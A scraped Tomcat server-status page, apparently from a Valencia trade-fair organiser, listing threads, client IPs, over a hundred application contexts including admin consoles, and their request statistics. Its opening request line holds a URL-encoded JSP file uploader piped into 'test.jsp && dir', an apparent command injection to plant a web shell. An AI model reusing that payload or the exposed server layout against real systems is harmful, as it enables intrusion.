tes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+%5E%3C%2Ftd%5E%3E+%5E%3C%2Ftr%5E%3E%5E%3C%2Ftable%5E%3E+%5E%3C%2Fform%5E%3E+%5E%3C%2Fbody%5E%3E+%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
K48911 ms??66.249.64.88??
K45614 ms??66.249.64.86??
K10126 ms??66.249.64.85??
K312 ms??54.166.146.212??
S78 ms216 KB0 KB54.166.146.212espacioartesano.feriavalencia.comGET /status?full=true HTTP/1.0

P: Parse and prepare request S: Service F: Finishing R: Ready K: Keepalive

Application list

localhost/phppro
localhost/euroagrofruitspro
localhost/decoceviderpro
localhost/jexws4
localhost/mensajesdelfuturopro
localhost/turinievepro
localhost/jornadatecnologicapro
localhost/orprotecpro
localhost/egeticapro
localhost/interartpro
localhost/
localhost/ecofirapro
localhost/dicpro
localhost/euroagropro
localhost/logitranspro
localhost/delcolorpro
localhost/accionsocialpro
localhost/almonedaspro
localhost/dipapro
localhost/fejupro
localhost/jornadasvegetalworldpro
localhost/aabkpro
localhost/gameworldpro
localhost/gastronomaformpro
localhost/cevisamapro
localhost/docfinder
localhost/fiestaybodapro
localhost/aplimatecpro
localhost/formacion3pro
localhost/cmapro
localhost/cataysaboreapro
localhost/millesimevalenciapro
localhost/efiaquapro
localhost/centroeventospro
localhost/protodesignpro
localhost/fimpro
localhost/promotradepro
localhost/habitatpro
localhost/induferiaspro
localhost/expoitaliapro
localhost/firafestapro
localhost/gastronomapro
localhost/laboraliapro
localhost/forinvestpro
localhost/formaempleopro
localhost/fiartvalenciapro
localhost/beautyforumproborrar
localhost/solucionespro
localhost/hinchaliapro
tpv.feriavalencia.com/
localhost/pruebaspro
localhost/fiecvalpro
localhost/puericulturapro
localhost/ideasypasionpro
localhost/fimetexpro
localhost/fiestaynavidadpro
localhost/saludybienestarpro
localhost/expocazapro
localhost/ocasionpro
localhost/horizontalpro
localhost/feriahabitatvalenciapro
localhost/stockcitypro
localhost/internacionalpro
localhost/funermostrapro
localhost/motorepocapro
localhost/prototipopro
localhost/emppro
localhost/fimjsppro
localhost/jmx-console
localhost/eupvsecpro
localhost/chapterisacapro
localhost/demorevistapro
localhost/interdomopro
localhost/cevisamalabpro
localhost/ws4ee
localhost/gastronomaform2pro
localhost/espacioartesanopro
localhost/tcbpro
localhost/formacion1pro
localhost/restalimedpro
localhost/floraliapro
localhost/eurobricopro
localhost/revistapro
localhost/marmolpro
localhost/agendapro
localhost/geniapolispro
localhost/fimipro
localhost/espaidolcpro
localhost/maquetapro
localhost/serpromapro
localhost/ebxmlrr
localhost/idinovapro
utilidades-pro.feriavalencia.com/
localhost/cevisamaindipro
localhost/jbossass
localhost/beautyforumpro
localhost/antiguedadespro
localhost/fimifashionweekpro
localhost/urbepro
localhost/formacion2pro
localhost/web-console
localhost/vinoelitepro
localhost/qualimetricspro
localhost/actividadesgastronomapro
localhost/textilhogarpro
localhost/automovilpro
localhost/maderaliapro
localhost/fiampro
localhost/fimmapro
localhost/sifpro
localhost/joyeriapro
localhost/tcvpro
localhost/iberflorapro
localhost/planetnightpro
localhost/interalimedpro
localhost/utilities
localhost/regalopro
localhost/feriapro
localhost/salonnauticopro
localhost/intermusicpro

localhost/phppro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 609 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/euroagrofruitspro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 1094 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/decoceviderpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 546 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/jexws4

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 32 Session count: 348 Max active sessions: 67 Rejected session creations: 0 Expired sessions: 316 Processing time: 5706 ms
JSPs loaded: 0 JSPs reloaded: 1

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 107 s Max time: 2547 ms Request count: 354 Error count: 6 Load time: 0 ms Classloading time: 0 ms

localhost/mensajesdelfuturopro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 0 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/turinievepro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 470 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/jornadatecnologicapro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 609 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/orprotecpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 0 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/egeticapro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 3532 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/interartpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 1047 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/

Startup time: 15 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 6 Max active sessions: 2 Rejected session creations: 0 Expired sessions: 6 Processing time: 0 ms
JSPs loaded: 5 JSPs reloaded: 48

default [ / ]

Processing time: 17 s Max time: 203 ms Request count: 35434 Error count: 7951 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 92 s Max time: 23143 ms Request count: 1918 Error count: 1718 Load time: 0 ms Classloading time: 0 ms

Status Servlet [ /status ]

Processing time: 812 s Max time: 2360 ms Request count: 23880 Error count: 0 Load time: 31 ms Classloading time: 0 ms

localhost/ecofirapro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 578 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/dicpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 1235 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 16 ms Classloading time: 16 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/euroagropro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 844 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/logitranspro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 922 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/delcolorpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 828 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 16 ms Classloading time: 0 ms

localhost/accionsocialpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 937 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/almonedaspro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 2250 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/dipapro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 1594 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/fejupro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 1235 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/jornadasvegetalworldpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 907 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/aabkpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 0 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/gameworldpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 2641 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/gastronomaformpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 860 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/cevisamapro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 12279 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/docfinder

Startup time: 16 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 453 ms
JSPs loaded: 0 JSPs reloaded: 0

getIndexList [ /getIndexList ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

file [ /file/* ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

searchServlet [ /servlet/* ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/fiestaybodapro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 2846 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/aplimatecpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 1827 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/formacion3pro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 3267 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 16 ms Classloading time: 16 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/cmapro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 1062 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/cataysaboreapro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 516 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/millesimevalenciapro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 0 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/efiaquapro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 438 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/centroeventospro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 0 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/protodesignpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 0 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/fimpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 2235 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/promotradepro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 546 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/habitatpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 1094 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/induferiaspro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 7204 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/expoitaliapro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 531 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/firafestapro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 1016 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/gastronomapro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 516 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/laboraliapro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 5143 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/forinvestpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 1094 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/formaempleopro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 641 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/fiartvalenciapro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 0 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 16 ms Classloading time: 16 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/beautyforumproborrar

Startup time: 0 ms TLD scan time: 0 ms
